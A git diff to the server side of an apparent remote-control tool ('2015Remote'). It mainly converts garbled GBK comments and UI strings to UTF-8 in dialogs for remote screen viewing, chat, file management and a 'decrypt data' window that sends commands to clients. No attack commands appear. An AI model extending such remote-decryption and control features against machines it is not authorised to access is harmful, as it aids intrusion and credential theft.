https://sourceforge.net/projects/x264vfw/ + // 安装x264vfw编解码器: https://sourceforge.net/projects/x264vfw/ ENCODER_H264 = mmioFOURCC('X', '2', '6', '4'), }; /************************************************************************ * @class CBmpToAvi -* @brief λͼתAVI֡ +* @brief 位图转AVI帧 ************************************************************************/ class CBmpToAvi { @@ -30,13 +30,13 @@ public: { switch (result) { case ERR_INVALID_PARAM: - return ("Ч"); + return ("无效参数"); case ERR_NOT_SUPPORT: - return ("ֵ֧λȣҪ24λ32λ"); + return ("不支持的位深度,需要24位或32位"); case ERR_NO_ENCODER: - return ("δװx264 \nصַhttps://sourceforge.net/projects/x264vfw"); + return ("未安装x264编解码器 \n下载地址:https://sourceforge.net/projects/x264vfw"); case ERR_INTERNAL: - return("AVIļʧ"); + return("创建AVI文件失败"); default: return "succeed"; } @@ -46,7 +46,7 @@ private: PAVIFILE m_pfile; PAVISTREAM m_pavi; int m_nFrames; - static AVISTREAMINFO m_si; // ҪǾ̬ + static AVISTREAMINFO m_si; // 这个参数需要是静态的 int m_bitCount = 24; int m_width = 1920; diff --git a/server/2015Remote/CGridDialog.cpp b/server/2015Remote/CGridDialog.cpp index c60e8d4..60a7fde 100644 --- a/server/2015Remote/CGridDialog.cpp +++ b/server/2015Remote/CGridDialog.cpp @@ -1,4 +1,4 @@ -#include "stdafx.h" +#include "stdafx.h" #include "afxdialogex.h" #include "CGridDialog.h" #include "Resource.h" @@ -38,7 +38,7 @@ BOOL CGridDialog::AddChild(CDialog* pDlg) pDlg->SetParent(this); pDlg->ShowWindow(SW_SHOW); - // ȥ͵С + // 去掉标题栏和调整大小 LONG style = ::GetWindowLong(pDlg->GetSafeHwnd(), GWL_STYLE); style &= ~(WS_CAPTION | WS_THICKFRAME | WS_SIZEBOX | WS_BORDER); ::SetWindowLong(pDlg->GetSafeHwnd(), GWL_STYLE, style); @@ -57,12 +57,12 @@ void CGridDialog::RemoveChild(CDialog* pDlg) (*it)->SetParent(nullptr); m_children.erase(it); - // ɾ m_origState жӦĿ + // 删除 m_origState 中对应条目 auto itState = m_origState.find(pDlg); if (itState != m_origState.end()) m_origState.erase(itState); - // رյӴǵǰ󻯴ڣ m_pMaxChild + // 如果关闭的子窗口是当前最大化窗口,重置 m_pMaxChild if (m_pMaxChild == pDlg) m_pMaxChild = nullptr; @@ -80,7 +80,7 @@ LRESULT CGridDialog::OnChildClosed(WPARAM wParam, LPARAM lParam) void CGridDialog::LayoutChildren() { if (m_children.size() == 0) { - // ָڱ + // 恢复父窗口标题栏 if (m_parentStyle != 0) { ::SetWindowLong(m_hWnd, GWL_STYLE, m_parentStyle); ::SetWindowPos(m_hWnd, nullptr, 0, 0, 0, 0, @@ -105,7 +105,7 @@ void CGridDialog::LayoutChildren() int c = (int)i % m_cols; if (r >= m_rows) - break; // Χ + break; // 超过网格范围 int x = c * w; int y = r * h; @@ -122,7 +122,7 @@ void CGridDialog::OnSize(UINT nType, int cx, int cy) if (m_pMaxChild == nullptr) { LayoutChildren(); } else { - // ״̬£Ի + // 最大化状态下,保持铺满父对话框 CRect rcClient; GetClientRect(&rcClient); m_pMaxChild->MoveWindow(rcClient, TRUE); @@ -131,9 +131,9 @@ void CGridDialog::OnSize(UINT nType, int cx, int cy) void CGridDialog::OnLButtonDblClk(UINT nFlags, CPoint point) { - // ǰ󻯵Ӵڣ˫κεطָ + // 如果当前有最大化的子窗口,双击任何地方都恢复 if (m_pMaxChild != nullptr) { - // ָӴʽλ + // 恢复子窗口样式和位置 for (auto& kv : m_origState) { CDialog* dlg = kv.first; const ChildState& state = kv.second; @@ -146,7 +146,7 @@ void CGridDialog::OnLButtonDblClk(UINT nFlags, CPoint point) dlg->ShowWindow(SW_SHOW); } - // ָڱ + // 恢复父窗口标题栏 if (m_parentStyle != 0) { ::SetWindowLong(m_hWnd, GWL_STYLE, m_parentStyle); ::SetWindowPos(m_hWnd, nullptr, 0, 0, 0, 0, @@ -154,21 +154,21 @@ void CGridDialog::OnLButtonDblClk(UINT nFlags, CPoint point) m_parentStyle = 0; } - // ˢ¸ + // 刷新父窗口 m_pMaxChild = nullptr; m_origState.clear(); LayoutChildren(); - return; // Ѵ + return; // 已处理,返回 } - // ûӴڣԭ߼ҵӴڽ + // 没有最大化子窗口,则按原逻辑找到点击的子窗口进行最大化 for (auto dlg : m_children) { CRect rc; dlg->GetWindowRect(&rc); ScreenToClient(&rc); if (rc.PtInRect(point)) { - // Ӵԭʼ״̬ + // 保存所有子窗口原始状态 m_origState.clear(); for (auto d : m_children) { ChildState state; @@ -178,14 +178,14 @@ void CGridDialog::OnLButtonDblClk(UINT nFlags, CPoint point) m_origState[d] = state; } - // 󻯵Ӵ + // 最大化点击的子窗口 LONG style = m_origState[dlg].style; style |= (WS_CAPTION | WS_THICKFRAME | WS_SYSMENU | WS_MINIMIZEBOX | WS_MAXIMIZEBOX); ::SetWindowLong(dlg->GetSafeHwnd(), GWL_STYLE, style); ::SetWindowPos(dlg->GetSafeHwnd(), nullptr, 0, 0, 0, 0, SWP_NOZORDER | SWP_NOMOVE | SWP_NOSIZE | SWP_FRAMECHANGED); - // ظڱ + // 隐藏父窗口标题栏 if (m_parentStyle == 0) m_parentStyle = ::GetWindowLong(m_hWnd, GWL_STYLE); LONG parentStyle = m_parentStyle & ~(WS_CAPTION | WS_THICKFRAME); @@ -193,13 +193,13 @@ void CGridDialog::OnLButtonDblClk(UINT nFlags, CPoint point) ::SetWindowPos(m_hWnd, nullptr, 0, 0, 0, 0, SWP_NOZORDER | SWP_NOMOVE | SWP_NOSIZE | SWP_FRAMECHANGED); - // ȫʾӴ + // 全屏显示子窗口 CRect rcClient; GetClientRect(&rcClient); dlg->MoveWindow(rcClient, TRUE); m_pMaxChild = dlg; - // Ӵ + // 隐藏其他子窗口 for (auto d : m_children) if (d != dlg) d->ShowWindow(SW_HIDE); @@ -213,7 +213,7 @@ void CGridDialog::OnLButtonDblClk(UINT nFlags, CPoint point) BOOL CGridDialog::PreTranslateMessage(MSG* pMsg) { if (pMsg->wParam == VK_RETURN || pMsg->wParam == VK_ESCAPE) { - return TRUE;// EnterESCرնԻ + return TRUE;// 屏蔽Enter和ESC关闭对话 } return CDialog::PreTranslateMessage(pMsg); } diff --git a/server/2015Remote/CGridDialog.h b/server/2015Remote/CGridDialog.h index 4501090..d31a6dc 100644 --- a/server/2015Remote/CGridDialog.h +++ b/server/2015Remote/CGridDialog.h @@ -1,4 +1,4 @@ -#pragma once +#pragma once #include #include #include @@ -10,10 +10,10 @@ class CGridDialog : public CDialog public: CGridDialog(); - BOOL AddChild(CDialog* pDlg); // ̬ӶԻ - void RemoveChild(CDialog* pDlg); // ̬ƳӶԻ - void SetGrid(int rows, int cols); // - void LayoutChildren(); // + BOOL AddChild(CDialog* pDlg); // 动态添加子对话框 + void RemoveChild(CDialog* pDlg); // 动态移除子对话框 + void SetGrid(int rows, int cols); // 设置行列数 + void LayoutChildren(); // 布局 BOOL HasSlot() const { return m_children.size() < m_max; @@ -35,13 +35,13 @@ private: int m_max = 0; std::vector m_children; - // - CDialog* m_pMaxChild = nullptr; // ǰ󻯵ӶԻ - LONG m_parentStyle = 0; // ԭʼʽ + // 最大化相关 + CDialog* m_pMaxChild = nullptr; // 当前最大化的子对话框 + LONG m_parentStyle = 0; // 父窗口原始样式 struct ChildState { - CRect rect; // ԭʼλ - LONG style; // ԭʼʽ + CRect rect; // 原始位置 + LONG style; // 原始窗口样式 }; std::map m_origState; }; diff --git a/server/2015Remote/CTextDlg.cpp b/server/2015Remote/CTextDlg.cpp index 48f852b..fa75ce0 100644 --- a/server/2015Remote/CTextDlg.cpp +++ b/server/2015Remote/CTextDlg.cpp @@ -1,4 +1,4 @@ -// CTextDlg.cpp: ʵļ +// CTextDlg.cpp: 实现文件 // #include "stdafx.h" @@ -10,7 +10,7 @@ #define new DEBUG_NEW #endif -// CTextDlg Ի +// CTextDlg 对话框 IMPLEMENT_DYNAMIC(CTextDlg, CDialog) @@ -41,7 +41,7 @@ BEGIN_MESSAGE_MAP(CTextDlg, CDialog) END_MESSAGE_MAP() -// CTextDlg Ϣ +// CTextDlg 消息处理程序 void CTextDlg::OnBnClickedOk() diff --git a/server/2015Remote/CTextDlg.h b/server/2015Remote/CTextDlg.h index e7b988e..c9c3695 100644 --- a/server/2015Remote/CTextDlg.h +++ b/server/2015Remote/CTextDlg.h @@ -1,25 +1,25 @@ -#pragma once +#pragma once -// CTextDlg Ի +// CTextDlg 对话框 class CTextDlg : public CDialog { DECLARE_DYNAMIC(CTextDlg) public: - CTextDlg(CWnd* pParent = nullptr); // ׼캯 + CTextDlg(CWnd* pParent = nullptr); // 标准构造函数 virtual ~CTextDlg(); CString oldstr; CString nowstr; CString cmeline; - // Ի + // 对话框数据 #ifdef AFX_DESIGN_TIME enum { IDD = IDD_TEXT }; #endif protected: - virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV ֧ + virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV 支持 DECLARE_MESSAGE_MAP() public: diff --git a/server/2015Remote/Chat.cpp b/server/2015Remote/Chat.cpp index d218dc4..22cbe9b 100644 --- a/server/2015Remote/Chat.cpp +++ b/server/2015Remote/Chat.cpp @@ -1,4 +1,4 @@ -// Chat.cpp : implementation file +// Chat.cpp : implementation file // #include "stdafx.h" @@ -47,9 +47,9 @@ BOOL CChat::OnInitDialog() CDialog::OnInitDialog(); CString str; - str.Format(_T("Զ̸̽ - %s"), m_ContextObject->PeerName.c_str()), + str.Format(_T("远程交谈 - %s"), m_ContextObject->PeerName.c_str()), SetWindowText(str); - m_editTip.SetWindowText(_T("ʾ: ԷԻڷϢŻᵯ")); + m_editTip.SetWindowText(_T("提示: 对方聊天对话框在发送消息后才会弹出")); m_editNewMsg.SetLimitText(4079); // TODO: Add extra initialization here BYTE bToken = COMMAND_NEXT_CHAT; @@ -72,7 +72,7 @@ void CChat::OnReceiveComplete() SYSTEMTIME st; GetLocalTime(&st); char Text[5120] = { 0 }; - sprintf_s(Text, _T("%s %d/%d/%d %d:%02d:%02d\r\n %s\r\n\r\n"), _T("Է:"), + sprintf_s(Text, _T("%s %d/%d/%d %d:%02d:%02d\r\n %s\r\n\r\n"), _T("对方:"), st.wYear, st.wMonth, st.wDay, st.wHour, st.wMinute, st.wSecond, strResult); if (m_editChatLog.GetWindowTextLength() >= 20000) m_editChatLog.SetWindowText(_T("")); @@ -86,14 +86,14 @@ void CChat::OnButtonSend() GetDlgItemText(IDC_EDIT_NEWMSG, str, sizeof(str)); if (_tcscmp(str, _T("")) == 0) { m_editNewMsg.SetFocus(); - return; // ϢΪղ + return; // 发送消息为空不处理 } m_editTip.ShowWindow(SW_HIDE); m_ContextObject->Send2Client((LPBYTE)str, lstrlen(str) + sizeof(char)); SYSTEMTIME st; GetLocalTime(&st); char Text[5120] = { 0 }; - sprintf_s(Text, _T("%s %d/%d/%d %d:%02d:%02d\r\n %s\r\n\r\n"), _T("Լ:"), + sprintf_s(Text, _T("%s %d/%d/%d %d:%02d:%02d\r\n %s\r\n\r\n"), _T("自己:"), st.wYear, st.wMonth, st.wDay, st.wHour, st.wMinute, st.wSecond, str); if (m_editChatLog.GetWindowTextLength() >= 20000) m_editChatLog.SetWindowText(_T("")); @@ -111,7 +111,7 @@ void CChat::OnButtonEnd() void CChat::OnClose() { CancelIO(); - // ȴݴ + // 等待数据处理完毕 if (IsProcessing()) { ShowWindow(SW_HIDE); return; @@ -124,16 +124,16 @@ HBRUSH CChat::OnCtlColor(CDC* pDC, CWnd* pWnd, UINT nCtlColor) { if (pWnd->GetDlgCtrlID() == IDC_EDIT_CHATLOG && nCtlColor == CTLCOLOR_STATIC) { COLORREF clr = RGB(0, 0, 0); - pDC->SetTextColor(clr); // úɫı + pDC->SetTextColor(clr); // 设置黑色的文本 clr = RGB(255, 255, 255); - pDC->SetBkColor(clr); // ðɫı - return CreateSolidBrush(clr); // ΪԼرɫӦˢӾ + pDC->SetBkColor(clr); // 设置白色的背景 + return CreateSolidBrush(clr); // 作为约定,返回背景色对应的刷子句柄 } else if (pWnd == &m_editTip && nCtlColor == CTLCOLOR_EDIT) { COLORREF clr = RGB(255, 0, 0); - pDC->SetTextColor(clr); // úɫı + pDC->SetTextColor(clr); // 设置红色的文本 clr = RGB(220, 220, 0); - pDC->SetBkColor(clr); // ûɫı - return CreateSolidBrush(clr); // ΪԼرɫӦˢӾ + pDC->SetBkColor(clr); // 设置黄色的背景 + return CreateSolidBrush(clr); // 作为约定,返回背景色对应的刷子句柄 } else { return CDialog::OnCtlColor(pDC, pWnd, nCtlColor); } diff --git a/server/2015Remote/Chat.h b/server/2015Remote/Chat.h index 58af36d..6add88b 100644 --- a/server/2015Remote/Chat.h +++ b/server/2015Remote/Chat.h @@ -1,4 +1,4 @@ -#pragma once +#pragma once #include "stdafx.h" diff --git a/server/2015Remote/DecryptDlg.cpp b/server/2015Remote/DecryptDlg.cpp index e8b51a7..63da659 100644 --- a/server/2015Remote/DecryptDlg.cpp +++ b/server/2015Remote/DecryptDlg.cpp @@ -1,4 +1,4 @@ -#include "stdafx.h" +#include "stdafx.h" #include "DecryptDlg.h" @@ -32,7 +32,7 @@ BEGIN_MESSAGE_MAP(DecryptDlg, CDialog) END_MESSAGE_MAP() -// DecryptDlg Ϣ +// DecryptDlg 消息处理程序 BOOL DecryptDlg::OnInitDialog() @@ -41,12 +41,12 @@ BOOL DecryptDlg::OnInitDialog() SetIcon(m_hIcon, FALSE); CString str; - str.Format("%s - ", m_IPAddress); + str.Format("%s - 解密数据", m_IPAddress); SetWindowText(str); BYTE bToken = COMMAND_NEXT; m_ContextObject->Send2Client(&bToken, sizeof(BYTE)); - m_EditDecrypedResult.SetWindowTextA(CString("<<< ʾ: ڲ˵ѡ >>>\r\n")); + m_EditDecrypedResult.SetWindowTextA(CString("<<< 提示: 请在菜单选择解密类型 >>>\r\n")); int m_nCurSel = m_EditDecrypedResult.GetWindowTextLengthA(); m_EditDecrypedResult.SetSel((int)m_nCurSel, (int)m_nCurSel); m_EditDecrypedResult.PostMessage(EM_SETSEL, m_nCurSel, m_nCurSel); @@ -67,7 +67,7 @@ VOID DecryptDlg::OnReceiveComplete() void DecryptDlg::OnClose() { CancelIO(); - // ȴݴ + // 等待数据处理完毕 if (IsProcessing()) { ShowWindow(SW_HIDE); return; @@ -79,7 +79,7 @@ void DecryptDlg::OnSize(UINT nType, int cx, int cy) { CDialogBase::OnSize(nType, cx, cy); if (m_EditDecrypedResult.GetSafeHwnd()) { - m_EditDecrypedResult.MoveWindow(0, 0, cx, cy); // ռԻ + m_EditDecrypedResult.MoveWindow(0, 0, cx, cy); // 占满整个对话框 } } diff --git a/server/2015Remote/DecryptDlg.h b/server/2015Remote/DecryptDlg.h index d0e6d48..a666c7a 100644 --- a/server/2015Remote/DecryptDlg.h +++ b/server/2015Remote/DecryptDlg.h @@ -1,4 +1,4 @@ -#pragma once +#pragma once #include "IOCPServer.h" #include "Resource.h" @@ -13,11 +13,11 @@ public: VOID OnReceiveComplete(); -// Ի +// 对话框数据 enum { IDD = IDD_DIALOG_DECRYPT }; protected: - virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV ֧ + virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV 支持 DECLARE_MESSAGE_MAP() public: diff --git a/server/2015Remote/EditDialog.cpp b/server/2015Remote/EditDialog.cpp index f537ab5..c22cd12 100644 --- a/server/2015Remote/EditDialog.cpp +++ b/server/2015Remote/EditDialog.cpp @@ -1,4 +1,4 @@ -// EditDialog.cpp : ʵļ +// EditDialog.cpp : 实现文件 // #include "stdafx.h" @@ -7,7 +7,7 @@ #include "afxdialogex.h" -// CEditDialog Ի +// CEditDialog 对话框 IMPLEMENT_DYNAMIC(CEditDialog, CDialog) @@ -34,17 +34,17 @@ BEGIN_MESSAGE_MAP(CEditDialog, CDialog) END_MESSAGE_MAP() -// CEditDialog Ϣ +// CEditDialog 消息处理程序 void CEditDialog::OnBnClickedOk() { - // TODO: ڴӿؼ֪ͨ + // TODO: 在此添加控件通知处理程序代码 UpdateData(TRUE); if (m_EditString.IsEmpty()) { MessageBeep(0); - return; //رնԻ + return; //不关闭对话框 } CDialog::OnOK(); } diff --git a/server/2015Remote/EditDialog.h b/server/2015Remote/EditDialog.h index 33d4af8..e8256fa 100644 --- a/server/2015Remote/EditDialog.h +++ b/server/2015Remote/EditDialog.h @@ -1,21 +1,21 @@ -#pragma once +#pragma once -// CEditDialog Ի +// CEditDialog 对话框 class CEditDialog : public CDialog { DECLARE_DYNAMIC(CEditDialog) public: - CEditDialog(CWnd* pParent = NULL); // ׼캯 + CEditDialog(CWnd* pParent = NULL); // 标准构造函数 virtual ~CEditDialog(); - // Ի + // 对话框数据 enum { IDD = IDD_DIALOG_NEWFOLDER }; protected: - virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV ֧ + virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV 支持 DECLARE_MESSAGE_MAP() public: diff --git a/server/2015Remote/FileManagerDlg.cpp b/server/2015Remote/FileManagerDlg.cpp index e32bd37..14afc23 100644 --- a/server/2015Remote/FileManagerDlg.cpp +++ b/server/2015Remote/FileManagerDlg.cpp @@ -1,4 +1,4 @@ -// FileManagerDlg.cpp : implementation file +// FileManagerDlg.cpp : implementation file // #include "stdafx.h" @@ -30,11 +30,11 @@ typedef struct { float GetScreenScalingFactor() { - HDC hdc = GetDC(NULL); // ȡĻ豸 - int dpiX = GetDeviceCaps(hdc, LOGPIXELSX); // ȡˮƽ DPI + HDC hdc = GetDC(NULL); // 获取屏幕设备上下文 + int dpiX = GetDeviceCaps(hdc, LOGPIXELSX); // 获取水平 DPI ReleaseDC(NULL, hdc); - // ű = DPI / ׼ DPI96 + // 缩放比例 = DPI / 标准 DPI(96) return dpiX / 96.0f; } @@ -47,7 +47,7 @@ CFileManagerDlg::CFileManagerDlg(CWnd* pParent, Server* pIOCPServer, ClientConte m_bIsClosed = false; m_ProgressCtrl = NULL; - // Զб + // 保存远程驱动器列表 memset(m_bRemoteDriveList, 0, sizeof(m_bRemoteDriveList)); PBYTE pSrc = m_ContextObject->m_DeCompressionBuffer.GetBuffer(1); int length = m_ContextObject->m_DeCompressionBuffer.GetBufferLen() - 1; @@ -170,11 +170,11 @@ BOOL CFileManagerDlg::OnInitDialog() RECT rect; GetClientRect(&rect); - /*ΪʹӵĴ*/ + /*为真彩工具条添加的代码*/ - // һҪ幤IDȻRepositionBarsùλ - // ID AFX_IDW_CONTROLBAR_FIRST AFX_IDW_CONTROLBAR_LAST - // ع CBRS_TOP ڹϲһ + // 一定要定义工具栏ID,不然RepositionBars会重置工具栏的位置 + // ID 定义在AFX_IDW_CONTROLBAR_FIRST AFX_IDW_CONTROLBAR_LAST + // 本地工具条 CBRS_TOP 会在工具条上产生一条线 if (!m_wndToolBar_Local.Create(this, WS_CHILD | WS_VISIBLE | CBRS_ALIGN_ANY | CBRS_TOOLTIPS | CBRS_FLYBY, ID_LOCAL_TOOLBAR) ||!m_wndToolBar_Local.LoadToolBar(IDR_TOOLBAR1)) { @@ -184,12 +184,12 @@ BOOL CFileManagerDlg::OnInitDialog() m_wndToolBar_Local.ModifyStyle(0, TBSTYLE_FLAT); //Fix for WinXP m_wndToolBar_Local.LoadTrueColorToolBar ( - 24, //ʹ + 24, //加载真彩工具条 IDB_TOOLBAR, IDB_TOOLBAR, IDB_TOOLBAR_DISABLE ); - // ť + // 添加下拉按钮 m_wndToolBar_Local.AddDropDownButton(this, IDT_LOCAL_VIEW, IDR_LOCAL_VIEW); if (!m_wndToolBar_Remote.Create(this, WS_CHILD | @@ -201,26 +201,26 @@ BOOL CFileManagerDlg::OnInitDialog() m_wndToolBar_Remote.ModifyStyle(0, TBSTYLE_FLAT); //Fix for WinXP m_wndToolBar_Remote.LoadTrueColorToolBar ( - 24, //ʹ + 24, //加载真彩工具条 IDB_TOOLBAR, IDB_TOOLBAR, IDB_TOOLBAR_DISABLE ); - // ť + // 添加下拉按钮 m_wndToolBar_Remote.AddDropDownButton(this, IDT_REMOTE_VIEW, IDR_REMOTE_VIEW); - //ʾ + //显示工具栏 UpdateWindowsPos(); - // ñ + // 设置标题 CString str; - str.Format("%s - ļ",m_IPAddress); + str.Format("%s - 文件管理",m_IPAddress); SetWindowText(str); - // ΪбͼImageList + // 为列表视图设置ImageList m_list_local.SetImageList(&(THIS_APP->m_pImageList_Large), LVSIL_NORMAL); m_list_local.SetImageList(&(THIS_APP->m_pImageList_Small), LVSIL_SMALL); - // ״̬ + // 创建带进度条的状态栏 if (!m_wndStatusBar.Create(this) || !m_wndStatusBar.SetIndicators(indicators, sizeof(indicators)/sizeof(UINT))) { @@ -231,13 +231,13 @@ BOOL CFileManagerDlg::OnInitDialog() m_wndStatusBar.SetPaneInfo(0, m_wndStatusBar.GetItemID(0), SBPS_STRETCH, NULL); m_wndStatusBar.SetPaneInfo(1, m_wndStatusBar.GetItemID(1), SBPS_NORMAL, 120); m_wndStatusBar.SetPaneInfo(2, m_wndStatusBar.GetItemID(2), SBPS_NORMAL, 50); - RepositionBars(AFX_IDW_CONTROLBAR_FIRST, AFX_IDW_CONTROLBAR_LAST, 0); //ʾ״̬ + RepositionBars(AFX_IDW_CONTROLBAR_FIRST, AFX_IDW_CONTROLBAR_LAST, 0); //显示状态栏 m_wndStatusBar.GetItemRect(1, &rect); m_ProgressCtrl = new CProgressCtrl; m_ProgressCtrl->Create(PBS_SMOOTH | WS_VISIBLE, rect, &m_wndStatusBar, 1); - m_ProgressCtrl->SetRange(0, 100); //ýΧ - m_ProgressCtrl->SetPos(20); //ýǰλ + m_ProgressCtrl->SetRange(0, 100); //设置进度条范围 + m_ProgressCtrl->SetPos(20); //设置进度条当前位置 m_list_local.ModifyStyle(FALSE, LVS_REPORT); m_list_remote.ModifyStyle(FALSE, LVS_REPORT); @@ -260,11 +260,11 @@ void CFileManagerDlg::OnSize(UINT nType, int cx, int cy) CDialog::OnSize(nType, cx, cy); // TODO: Add your message handler code here - // ״̬ûд + // 状态栏还没有创建 if (m_wndStatusBar.m_hWnd == NULL) return; - // λ״̬ - RepositionBars(AFX_IDW_CONTROLBAR_FIRST, AFX_IDW_CONTROLBAR_LAST, 0); //ʾ + // 定位状态栏 + RepositionBars(AFX_IDW_CONTROLBAR_FIRST, AFX_IDW_CONTROLBAR_LAST, 0); //显示工具栏 RECT rect; m_wndStatusBar.GetItemRect(1, &rect); m_ProgressCtrl->MoveWindow(&rect); @@ -285,7 +285,7 @@ void CFileManagerDlg::UpdateWindowsPos() GetDlgItem(IDC_LOCAL_PATH)->MoveWindow(56, 5, 210, 12); GetDlgItem(IDC_REMOTE_PATH)->MoveWindow(56, (cy / 2) - 4, 210, 12); - //ʾ + //显示工具栏 m_wndToolBar_Local.MoveWindow(268, 0, (rect.right - 268), 48); m_wndToolBar_Remote.MoveWindow(268, (rect.bottom / 2 - 10), (rect.right - 268), 48); } @@ -296,10 +296,10 @@ void CFileManagerDlg::FixedLocalDriveList() char *pDrive = NULL; m_list_local.DeleteAllItems(); while(m_list_local.DeleteColumn(0) != 0); - m_list_local.InsertColumn(0, "", LVCFMT_LEFT, 200); - m_list_local.InsertColumn(1, "", LVCFMT_LEFT, 100); - m_list_local.InsertColumn(2, "ܴС", LVCFMT_LEFT, 100); - m_list_local.InsertColumn(3, "ÿռ", LVCFMT_LEFT, 115); + m_list_local.InsertColumn(0, "名称", LVCFMT_LEFT, 200); + m_list_local.InsertColumn(1, "类型", LVCFMT_LEFT, 100); + m_list_local.InsertColumn(2, "总大小", LVCFMT_LEFT, 100); + m_list_local.InsertColumn(3, "可用空间", LVCFMT_LEFT, 115); GetLogicalDriveStrings(sizeof(DriveString), DriveString); pDrive = DriveString; @@ -307,13 +307,13 @@ void CFileManagerDlg::FixedLocalDriveList() char FileSystem[MAX_PATH]; unsigned __int64 HDAmount = 0; unsigned __int64 HDFreeSpace = 0; - unsigned long AmntMB = 0; // ܴС - unsigned long FreeMB = 0; // ʣռ + unsigned long AmntMB = 0; // 总大小 + unsigned long FreeMB = 0; // 剩余空间 for (int i = 0; *pDrive != '\0'; i++, pDrive += lstrlen(pDrive) + 1) { - // õϢ + // 得到磁盘相关信息 memset(FileSystem, 0, sizeof(FileSystem)); - // õļϵͳϢС + // 得到文件系统信息及大小 GetVolumeInformation(pDrive, NULL, 0, NULL, NULL, NULL, FileSystem, MAX_PATH); int nFileSystemLen = lstrlen(FileSystem) + 1; @@ -340,11 +340,11 @@ void CFileManagerDlg::FixedLocalDriveList() str.Format("%10.1f GB", (float)FreeMB / 1024); m_list_local.SetItemText(nItem, 3, str); } - // ñصǰ· + // 重置本地当前路径 m_Local_Path = ""; m_Local_Directory_ComboBox.ResetContent(); - ShowMessage("أװĿ¼ %s ", m_Local_Path); + ShowMessage("本地:装载目录 %s 完成", m_Local_Path); } void CFileManagerDlg::OnDblclkListLocal(NMHDR* pNMHDR, LRESULT* pResult) @@ -361,30 +361,30 @@ void CFileManagerDlg::FixedLocalFileList(CString directory) if (directory.GetLength() == 0) { int nItem = m_list_local.GetSelectionMark(); - // ѡеģĿ¼ + // 如果有选中的,是目录 if (nItem != -1) { if (m_list_local.GetItemData(nItem) == 1) { directory = m_list_local.GetItemText(nItem, 0); } } - // Ͽõ· + // 从组合框里得到路径 else { m_Local_Directory_ComboBox.GetWindowText(m_Local_Path); } } - // õĿ¼ + // 得到父目录 if (directory == "..") { m_Local_Path = GetParentDirectory(m_Local_Path); } - // ˢµǰ + // 刷新当前用 else if (directory != ".") { m_Local_Path += directory; if(m_Local_Path.Right(1) != "\\") m_Local_Path += "\\"; } - // ĸĿ¼,شб + // 是驱动器的根目录,返回磁盘列表 if (m_Local_Path.GetLength() == 0) { FixedLocalDriveList(); return; @@ -393,13 +393,13 @@ void CFileManagerDlg::FixedLocalFileList(CString directory) m_Local_Directory_ComboBox.InsertString(0, m_Local_Path); m_Local_Directory_ComboBox.SetCurSel(0); - // ؽ + // 重建标题 m_list_local.DeleteAllItems(); while(m_list_local.DeleteColumn(0) != 0); - m_list_local.InsertColumn(0, "", LVCFMT_LEFT, 200); - m_list_local.InsertColumn(1, "С", LVCFMT_LEFT, 100); - m_list_local.InsertColumn(2, "", LVCFMT_LEFT, 100); - m_list_local.InsertColumn(3, "޸", LVCFMT_LEFT, 115); + m_list_local.InsertColumn(0, "名称", LVCFMT_LEFT, 200); + m_list_local.InsertColumn(1, "大小", LVCFMT_LEFT, 100); + m_list_local.InsertColumn(2, "类型", LVCFMT_LEFT, 100); + m_list_local.InsertColumn(3, "修改日期", LVCFMT_LEFT, 115); int nItemIndex = 0; m_list_local.SetItemData @@ -408,7 +408,7 @@ void CFileManagerDlg::FixedLocalFileList(CString directory) 1 ); - // i Ϊ 0 ʱĿ¼i Ϊ 1ʱļ + // i 为 0 时列目录,i 为 1时列文件 for (int i = 0; i < 2; ++i) { CFileFind file; BOOL bContinue; @@ -438,7 +438,7 @@ void CFileManagerDlg::FixedLocalFileList(CString directory) } } - ShowMessage("أװĿ¼ %s ", m_Local_Path); + ShowMessage("本地:装载目录 %s 完成", m_Local_Path); } void CFileManagerDlg::DropItemOnList(CListCtrl* pDragList, CListCtrl* pDropList) @@ -464,10 +464,10 @@ void CFileManagerDlg::DropItemOnList(CListCtrl* pDragList, CListCtrl* pDropList) } else if ((CWnd *)pDropList == &m_list_remote) { OnLocalCopy(); } else { - // + // 见鬼了 return; } - // + // 重置 m_nDropIndex = -1; } @@ -674,7 +674,7 @@ BOOL CFileManagerDlg::PreTranslateMessage(MSG* pMsg) } } - // ˴ڱʹƶ + // 单击除了窗口标题栏以外的区域使窗口移动 if (pMsg->message == WM_LBUTTONDOWN && pMsg->hwnd == m_hWnd) { pMsg->message = WM_NCLBUTTONDOWN; pMsg->wParam = HTCAPTION; @@ -686,9 +686,9 @@ BOOL CFileManagerDlg::PreTranslateMessage(MSG* pMsg) return (nHitTest = =HTCLIENT)? HTCAPTION : nHitTest } - 㲻֮ - һڴڵĿͻ˫ʱڽ - ʺϰӴ򴰿ڡ + 上述技术有两点不利之处, + 其一是在窗口的客户区域双击时,窗口将极大; + 其二, 它不适合包含几个视窗的主框窗口。 */ if(m_wndToolBar_Local.IsWindowVisible()) { @@ -712,7 +712,7 @@ void CFileManagerDlg::OnTimer(UINT_PTR nIDEvent) void CFileManagerDlg::FixedRemoteDriveList() { - // ϵͳͳͼб ͼб + // 加载系统统图标列表 设置驱动器图标列表 HIMAGELIST hImageListLarge = NULL; HIMAGELIST hImageListSmall = NULL; Shell_GetImageLists(&hImageListLarge, &hImageListSmall); @@ -720,18 +720,18 @@ void CFileManagerDlg::FixedRemoteDriveList() ListView_SetImageList(m_list_remote.m_hWnd, hImageListSmall, LVSIL_SMALL); m_list_remote.DeleteAllItems(); - // ؽColumn + // 重建Column while(m_list_remote.DeleteColumn(0) != 0); - m_list_remote.InsertColumn(0, "", LVCFMT_LEFT, 200); - m_list_remote.InsertColumn(1, "", LVCFMT_LEFT, 100); - m_list_remote.InsertColumn(2, "ܴС", LVCFMT_LEFT, 100); - m_list_remote.InsertColumn(3, "ÿռ", LVCFMT_LEFT, 115); + m_list_remote.InsertColumn(0, "名称", LVCFMT_LEFT, 200); + m_list_remote.InsertColumn(1, "类型", LVCFMT_LEFT, 100); + m_list_remote.InsertColumn(2, "总大小", LVCFMT_LEFT, 100); + m_list_remote.InsertColumn(3, "可用空间", LVCFMT_LEFT, 115); char *pDrive = NULL; pDrive = (char *)m_bRemoteDriveList; - unsigned long AmntMB = 0; // ܴС - unsigned long FreeMB = 0; // ʣռ + unsigned long AmntMB = 0; // 总大小 + unsigned long FreeMB = 0; // 剩余空间 //char 